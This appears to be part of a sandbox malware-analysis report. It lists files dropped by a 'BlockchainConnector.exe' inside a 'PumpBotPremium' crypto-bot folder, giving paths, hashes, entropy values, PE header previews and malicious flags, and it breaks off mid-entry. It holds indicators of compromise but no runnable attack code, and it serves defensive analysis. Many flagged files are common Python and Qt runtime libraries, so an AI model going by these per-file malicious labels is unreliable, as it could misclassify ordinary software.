                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):587264
                                                                                                                                                                                                                                                Entropy (8bit):6.221564766509188
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:6ExmUW6CupofxPeQVx1TvXao45RZR+4dS1SCxSqwFSeWkSOKTSxSZSxeSjSWS5Sj:sh6FofJekx1T/RDIT7mmuV/TPOEzQ
                                                                                                                                                                                                                                                MD5:9CD2E04304081B32CEB824E0989B5D07
                                                                                                                                                                                                                                                SHA1:EAA0E895B22C7BEE9D0B02EC632E58F5B7CB4395
                                                                                                                                                                                                                                                SHA-256:017B95F8966ABFDE2CE50D1AC6B1527915C081BFB41C01E1C045549FDD313F5A
                                                                                                                                                                                                                                                SHA-512:3A31DECF9ADC6C503DBC3DD0B765794B64DDF82035E436C42217959956F06F04BE4301ADA982EEC04727720F3D08CEF5105236F5B419CE7C17A816AAA5274063
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........FN...N...N...G.F.J.......L.......L.......B.......F.......M.......M...N...........O.......M.......O.....*.O.......O...RichN...................PE..d....G.a.........." .................-.......................................P............`.........................................0(......80..x....0.......................@..p.......................................8............................................text...8........................... ..`.rdata..\...........................@..@.data...(....P.......6..............@....pdata..............................@..@.rsrc........0......................@..@.reloc..p....@......................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\psutil\_psutil_windows.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):67072
                                                                                                                                                                                                                                                Entropy (8bit):5.906140071654569
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:PwseNxkc7Xva0Y420G1UD+dS4LBeLmRy:Pskcbi0Y42bUD+dS4VeiRy
                                                                                                                                                                                                                                                MD5:2C62184E46ECC1641B8E09690F820405
                                                                                                                                                                                                                                                SHA1:953DB2789D5EEAB981558388A727BD4D42364DD6
                                                                                                                                                                                                                                                SHA-256:43E09408673687A787415912336AC13FCCA9A7D7945B73D0C84AC4BB071E9106
                                                                                                                                                                                                                                                SHA-512:2DF440A9BF87345A5A0727CF4AE68592B32324A3A4D4611D047FBCA7984A9B8E55487D89E83E80DF8E0580C2A1DB26DB9722DBF18D4B2C8FD2770A55309E573E
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ZT...5...5...5...M...5..L@...5..L@...5..L@...5..L@...5...k...5..UM...5...5...5...@...5...@...5...@`..5...@...5..Rich.5..........................PE..d....v*e.........." .........h..............................................@............`.........................................P...`.......@.... .......................0..(.......................................8............................................text............................... ..`.rdata..|I.......J..................@..@.data...x...........................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..(....0......................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\pyexpat.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):191720
                                                                                                                                                                                                                                                Entropy (8bit):6.322506643675763
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:gUV1H8tt/Z6dhxQMOJzr9JuB9OVqjxCXRTWiTayyXsflyOCiXOgeDpSRP4kFIABQ:BVGtkdhAr9JuB0VTTV9yXsfo+o
                                                                                                                                                                                                                                                MD5:983D8E003E772E9C078FAAD820D14436
                                                                                                                                                                                                                                                SHA1:1C90AD33DC4FECBDEB21F35CA748AA0094601C07
                                                                                                                                                                                                                                                SHA-256:E2146BED9720EB94388532551444F434D3195310FA7BD117253E7DF81A8E187E
                                                                                                                                                                                                                                                SHA-512:E7F0FD841C41F313C1782331C0F0AA35E1D8BA42475D502D08C3598A3AAEFD400179C19613941CDFAD724ECA067DD1B2F4C2F1E8A1D6F70EEB29F7B2213E6500
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Qe.....J...J...J.|:J...JGq.K...JGq.K...JGq.K...JGq.K...J.q.K...J.o.K...J...Jm..J.q.K...J.q.K...J.qVJ...J.q.K...JRich...J........................PE..d....O[a.........." ................p...............................................\E....`.........................................@...P............................................4..T...........................P5..8............ ...............................text............................... ..`.rdata....... ......................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\python3.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):61680
                                                                                                                                                                                                                                                Entropy (8bit):5.923759574558729
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:768:ek8LeBLeeFtp5V1BfO2yvSk70QZF1nEyjnskQkr/RFB1qucwdBeCw0myou6ZwJqe:ekwewnvtjnsfwGFIAB0hy
                                                                                                                                                                                                                                                MD5:A5471F05FD616B0F8E582211EA470A15
                                                                                                                                                                                                                                                SHA1:CB5F8BF048DC4FC58F80BDFD2E04570DBEF4730E
                                                                                                                                                                                                                                                SHA-256:8D5E09791B8B251676E16BDD66A7118D88B10B66AD80A87D5897FADBEFB91790
                                                                                                                                                                                                                                                SHA-512:E87D06778201615B129DCF4E8B4059399128276EB87102B5C3A64B6E92714F6B0D5BDE5DF4413CC1B66D33A77D7A3912EAA1035F73565DBFD62280D09D46ABFF
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............d...d...d.|.l...d.|.d...d.|.....d.|.f...d.Rich..d.........................PE..d...|O[a.........." .....................................................................`.........................................`...`...............................................T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\python310.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):4450544
                                                                                                                                                                                                                                                Entropy (8bit):6.458222828027988
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:49152:+RYsIZfypUacEN7z1NR6JYL911cdl40pPQKE30tBuQS6BqL902zJAysI6maHmbM9:YYsI5xKZ4JxsvAI6xHEMb5Hs9d
                                                                                                                                                                                                                                                MD5:384349987B60775D6FC3A6D202C3E1BD
                                                                                                                                                                                                                                                SHA1:701CB80C55F859AD4A31C53AA744A00D61E467E5
                                                                                                                                                                                                                                                SHA-256:F281C2E252ED59DD96726DBB2DE529A2B07B818E9CC3799D1FFA9883E3028ED8
                                                                                                                                                                                                                                                SHA-512:6BF3EF9F08F4FC07461B6EA8D9822568AD0A0F211E471B990F62C6713ADB7B6BE28B90F206A4EC0673B92BAE99597D1C7785381E486F6091265C7DF85FF0F9B5
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........................~..........................................3...F..3......3.|....3......Rich...........PE..d...pO[a.........." .....X#..d!.....,.........................................E......D...`...........................................<......z=.|....pD......@B.0.....C.......D..t..x.$.T.............................$.8............p#.8............................text...bW#......X#................. ..`.rdata...-...p#......\#.............@..@.data.........=.......=.............@....pdata..0....@B......6A.............@..@PyRuntim`....`D......HC.............@....rsrc........pD......LC.............@..@.reloc...t....D..v...VC.............@..B........................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\pythoncom310.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):669184
                                                                                                                                                                                                                                                Entropy (8bit):6.03765159448253
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:zxxMpraRSS9Y68EuBPjIQN5cJzS7bUxgyPxFMH0PIXY3dVVVVAuLpdorrcK/CXjW:zxxMZMX1bQIJO7bazPEQSYNBLpdwNu
                                                                                                                                                                                                                                                MD5:65DD753F51CD492211986E7B700983EF
                                                                                                                                                                                                                                                SHA1:F5B469EC29A4BE76BC479B2219202F7D25A261E2
                                                                                                                                                                                                                                                SHA-256:C3B33BA6C4F646151AED4172562309D9F44A83858DDFD84B2D894A8B7DA72B1E
                                                                                                                                                                                                                                                SHA-512:8BD505E504110E40FA4973FEFF2FAE17EDC310A1CE1DC78B6AF7972EFDD93348087E6F16296BFD57ABFDBBE49AF769178F063BB0AA1DEE661C08659F47A6216D
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..x...+...+...+..P+...+T..*...+T..*...+T..*...+T..*...+..*...+...*...+...*...+...*...+...+U..+..*W..+..*...+..*...+Rich...+................PE..d...k..d.........." ................4.....................................................`..........................................U...c..............l....@...z............... ......T...........................0...8............................................text...#........................... ..`.rdata...$.......&..................@..@.data....I..........................@....pdata...z...@...|..................@..@.rsrc...l...........................@..@.reloc... ......."..................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\pywintypes310.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):134656
                                                                                                                                                                                                                                                Entropy (8bit):5.992653928086484
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:DLVxziezwPZSMaAXpuuwNNDY/r06trfSsSYOejKVJBtGdI8hvnMu:HfziezwMMaAX2Y/rxjbOejKDBtG681n
                                                                                                                                                                                                                                                MD5:CEB06A956B276CEA73098D145FA64712
                                                                                                                                                                                                                                                SHA1:6F0BA21F0325ACC7CF6BF9F099D9A86470A786BF
                                                                                                                                                                                                                                                SHA-256:C8EC6429D243AEF1F78969863BE23D59273FA6303760A173AB36AB71D5676005
                                                                                                                                                                                                                                                SHA-512:05BAB4A293E4C7EFA85FA2491C32F299AFD46FDB079DCB7EE2CC4C31024E01286DAAF4AEAD5082FC1FD0D4169B2D1BE589D1670FCF875B06C6F15F634E0C6F34
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9.$.X.w.X.w.X.w. [w.X.w.-.v.X.w.75w.X.w.-.v.X.w.-.v.X.w.-.v.X.w.3.v.X.wJ1.v.X.w.3.v.X.w.X.w.X.w,-.v.X.w,-.v.X.w,-.v.X.wRich.X.w........................PE..d......d.........." .........................................................P............`......................................... u..dB......,....0..l.......L............@..0...`Q..T............................Q..8............................................text............................... ..`.rdata..R...........................@..@.data....-.......(..................@....pdata..L...........................@..@.rsrc...l....0......................@..@.reloc..0....@......................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\qt5core.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):6023664
                                                                                                                                                                                                                                                Entropy (8bit):6.768988071491288
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:98304:hcirJylHYab/6bMJsv6tWKFdu9CLiZxqfg8gwf:+irJylHFb/QMJsv6tWKFdu9CL4xqfg8x
                                                                                                                                                                                                                                                MD5:817520432A42EFA345B2D97F5C24510E
                                                                                                                                                                                                                                                SHA1:FEA7B9C61569D7E76AF5EFFD726B7FF6147961E5
                                                                                                                                                                                                                                                SHA-256:8D2FF4CE9096DDCCC4F4CD62C2E41FC854CFD1B0D6E8D296645A7F5FD4AE565A
                                                                                                                                                                                                                                                SHA-512:8673B26EC5421FCE8E23ADF720DE5690673BB4CE6116CB44EBCC61BBBEF12C0AD286DFD675EDBED5D8D000EFD7609C81AAE4533180CF4EC9CD5316E7028F7441
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......D.............................UJ......................................................W.....,..................r....................Rich............PE..d...;._.........." ..........-.......-......................................`\.....x.\...`...........................................L..O....T...... \.......U.. ....[......0\..%..,.H.T.....................H.(.....H.0............./.H............................text............................... ..`.rdata..F7%.../..8%.................@..@.data...x....PT..\...6T.............@....pdata... ....U.."....T.............@..@.qtmimed.....0W.......V.............@..P.rsrc........ \.......[.............@..@.reloc...%...0\..&....[.............@..B........................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\qt5gui.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):7008240
                                                                                                                                                                                                                                                Entropy (8bit):6.674290383197779
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:49152:9VPhJZWVvpg+za3cFlc61j2VjBW77I4iNlmLPycNRncuUx24LLsXZFC6FOCfDt2/:BJZzI1ZR3U9Cxc22aDACInVc4Z
                                                                                                                                                                                                                                                MD5:47307A1E2E9987AB422F09771D590FF1
                                                                                                                                                                                                                                                SHA1:0DFC3A947E56C749A75F921F4A850A3DCBF04248
                                                                                                                                                                                                                                                SHA-256:5E7D2D41B8B92A880E83B8CC0CA173F5DA61218604186196787EE1600956BE1E
                                                                                                                                                                                                                                                SHA-512:21B1C133334C7CA7BBBE4F00A689C580FF80005749DA1AA453CCEB293F1AD99F459CA954F54E93B249D406AEA038AD3D44D667899B73014F884AFDBD9C461C14
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......QH^~.)0-.)0-.)0-.Q.-.)0-...-.)0-.F4,.)0-.F3,.)0-.F5,.)0-.F1,.)0-.Y1,.)0-.B5,.)0-.B1,.)0-.)1-m,0-.Y4,.)0-.Y5,|(0-.Y0,.)0-.Y.-.)0-.).-.)0-.Y2,.)0-Rich.)0-................PE..d....._.........." ......?...+.....X.?.......................................k.....R.k...`.........................................pKK.....d.e.|....`k.......g.......j......pk..6....F.T................... .F.(.....F.0.............?.p+...........................text...2.?.......?................. ..`.rdata...z&...?..|&...?.............@..@.data....o... f.......f.............@....pdata........g.......f.............@..@.rsrc........`k.......j.............@..@.reloc...6...pk..8....j.............@..B........................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\qt5widgets.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):5498352
                                                                                                                                                                                                                                                Entropy (8bit):6.619117060971844
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:49152:KO+LIFYAPZtMym9RRQ7/KKIXSewIa/2Xqq1sfeOoKGOh6EwNmiHYYwBrK8KMlH0p:IGoKZdRqJD10rK8KMlH0gi5GX0oKZ
                                                                                                                                                                                                                                                MD5:4CD1F8FDCD617932DB131C3688845EA8
                                                                                                                                                                                                                                                SHA1:B090ED884B07D2D98747141AEFD25590B8B254F9
                                                                                                                                                                                                                                                SHA-256:3788C669D4B645E5A576DE9FC77FCA776BF516D43C89143DC2CA28291BA14358
                                                                                                                                                                                                                                                SHA-512:7D47D2661BF8FAC937F0D168036652B7CFE0D749B571D9773A5446C512C58EE6BB081FEC817181A90F4543EBC2367C7F8881FF7F80908AA48A7F6BB261F1D199
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........x..................I.......I.......I.......I...........................................9.................................Rich............PE..d....._.........." ......3..P .......3.......................................T......MT...`.........................................0.D.P^....L.h....pS......0P..8....S.......S.d.....?.T...................`.?.(...0.?.0.............3.._...........................text.....3.......3................. ..`.rdata..8.....3.......3.............@..@.data.........O......dO.............@....pdata...8...0P..:....O.............@..@.rsrc........pS......4S.............@..@.reloc..d.....S......:S.............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\select.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):25840
                                                                                                                                                                                                                                                Entropy (8bit):6.184647213244152
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:384:XPjk/7e12hwheCZHqh1BeshphFIAmGcDG4y8JAgwhp:fUC2hwh9Hq3rHhFIAmGcDG4yMwh
                                                                                                                                                                                                                                                MD5:78D421A4E6B06B5561C45B9A5C6F86B1
                                                                                                                                                                                                                                                SHA1:C70747D3F2D26A92A0FE0B353F1D1D01693929AC
                                                                                                                                                                                                                                                SHA-256:F1694CE82DA997FAA89A9D22D469BFC94ABB0F2063A69EC9B953BC085C2CB823
                                                                                                                                                                                                                                                SHA-512:83E02963C9726A40CD4608B69B4CDF697E41C9EEDFB2D48F3C02C91500E212E7E0AB03E6B3F70F42E16E734E572593F27B016B901C8AA75F674B6E0FBB735012
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........f ...N...N...N.......N..rO...N..rK...N..rJ...N..rM...N..rO...N..lO...N...O...N..rC...N..rN...N..r....N..rL...N.Rich..N.........................PE..d....O[a.........." .........2.......................................................y....`..........................................@..L....@..x....p.......`.......H..........H....2..T............................2..8............0...............................text............................... ..`.rdata..6....0......................@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..H............F..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\sqlite3.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):1465072
                                                                                                                                                                                                                                                Entropy (8bit):6.573395442335468
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:24576:kPrlPOhOZxO9hhvpPfRMtmJXRqGedEexiBgvLSHEpkz6FIVaPe+:k5POhOZxO9hhv15rJhqGegyLhpFIc
                                                                                                                                                                                                                                                MD5:7BB1D577405F1129FAF3EA0225C9D083
                                                                                                                                                                                                                                                SHA1:60472DE4B1C7A12468D79994D6D0D684C91091EF
                                                                                                                                                                                                                                                SHA-256:831BA87CB1A91D4581F0ABBCC4966C6F4B332536F70CF481F609C44CC3D987C2
                                                                                                                                                                                                                                                SHA-512:33B1FD3A289193BFF168C967CAEBC0131732BD04562A770CF2EDAC602AB6D958F7BDE7A0E57BB125A7598852BDAC30F96D0DB46CB4A2460A61A0D914B011ED20
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........v..f.@.f.@.f.@...@.f.@...A.f.@...A.f.@...A.f.@...A.f.@...A.f.@.f.@nf.@^..A.f.@^..A.f.@^..@.f.@^..A.f.@Rich.f.@........PE..d....O[a.........." .....l...........q.......................................p.......M....`.............................................D!...$.......P...............>.......`......@...T...............................8...............(............................text....k.......l.................. ..`.rdata..d............p..............@..@.data....?...@...6...$..............@....pdata...............Z..............@..@.rsrc........P.......&..............@..@.reloc.......`.......0..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\tcl86t.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):1855672
                                                                                                                                                                                                                                                Entropy (8bit):6.510910358547494
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:24576:Lldauo6HQOZaWxCAnNDyY1vFsrOlwtJ6i/eFrrklM8Rc50mWszkwjLYfMiHrrTeC:Lld9QVyFrcM8RcxkwfGMiLrTzrSI
                                                                                                                                                                                                                                                MD5:AD03D1E9F0121330694415F901AF8F49
                                                                                                                                                                                                                                                SHA1:AD8D3EEE5274FEF8BB300E2D1F4A11E27D3940DF
                                                                                                                                                                                                                                                SHA-256:224476BEDBCF121C69137F1DF4DD025AE81769B2F7651BD3788A870A842CFBF9
                                                                                                                                                                                                                                                SHA-512:19B85C010C98FA75EACFD0B86F9C90A2DBF6F07A2B3FF5B4120108F3C26711512EDF2B875A782497BDB3D28359325AD95C17951621C4B9C1FD692FDE26B77C33
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A.`. q3. q3. q3.Pp2. q3p..3. q3.Pt2. q3.Pu2. q3.Pr2. q3.X.3. q3.@w2. q3.@p2. q3. p3.!q3YQy2C q3YQq2. q3YQ.3. q3YQs2. q3Rich. q3........PE..d...].m_.........." ................P........................................p.......t....`......................................... ...X`..x...T....@..8....@..`....4.......P......._..............................._..0............................................text.............................. ..`.rdata...}.......~..................@..@.data........ ......................@....pdata..`....@......................@..@.rsrc...8....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\tk86t.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):1539768
                                                                                                                                                                                                                                                Entropy (8bit):6.174567704767307
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:24576:s0Ul9NGSzfPBTBi7OU987qBkS0Ahl+FUduBGdiuazMsR+tCJuLxTQVgkBcdi8yXb:sLrrXi7f87wkS0Ahl+FUduBGdiFwo4Q5
                                                                                                                                                                                                                                                MD5:E3C7ED5F9D601970921523BE5E6FCE2C
                                                                                                                                                                                                                                                SHA1:A7EE921E126C3C1AE8D0E274A896A33552A4BD40
                                                                                                                                                                                                                                                SHA-256:BD4443B8ECC3B1F0C6FB13B264769253C80A4597AF7181884BDA20442038EC77
                                                                                                                                                                                                                                                SHA-512:BFA76B6D754259EABC39D701D359DD96F7A4491E63B17826A05A14F8FDF87656E8FC541A40E477E4FEF8D0601320DD163199520E66D9EE8B5D6BB5CD9A275901
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......cm..'..'..'...|..%...|.,...|./...|.#...l.$...tr.7...l..2..'...n..}...}.&..}..&..}.&..Rich'..........PE..d.....m_.........." .........x.......................................................y....`.........................................P...X@...T..|........{... .......b.......`...A..`)...............................)..0...............8............................text...x........................... ..`.rdata...e.......f..................@..@.data...(............^..............@....pdata....... ......................@..@.rsrc....{.......|..................@..@.reloc...A...`...B... ..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\unicodedata.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):1118448
                                                                                                                                                                                                                                                Entropy (8bit):5.371925569374372
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:t0lBMmuZ63N6QCb5Pfhnzr0ql8L8kdM7IRG5eeme6VZyrIBHdQLhfFE+uUs:ilBuVZV0m81MMREtV6Vo4uYUs
                                                                                                                                                                                                                                                MD5:A40FF441B1B612B3B9F30F28FA3C680D
                                                                                                                                                                                                                                                SHA1:42A309992BDBB68004E2B6B60B450E964276A8FC
                                                                                                                                                                                                                                                SHA-256:9B22D93F4DB077A70A1D85FFC503980903F1A88E262068DD79C6190EC7A31B08
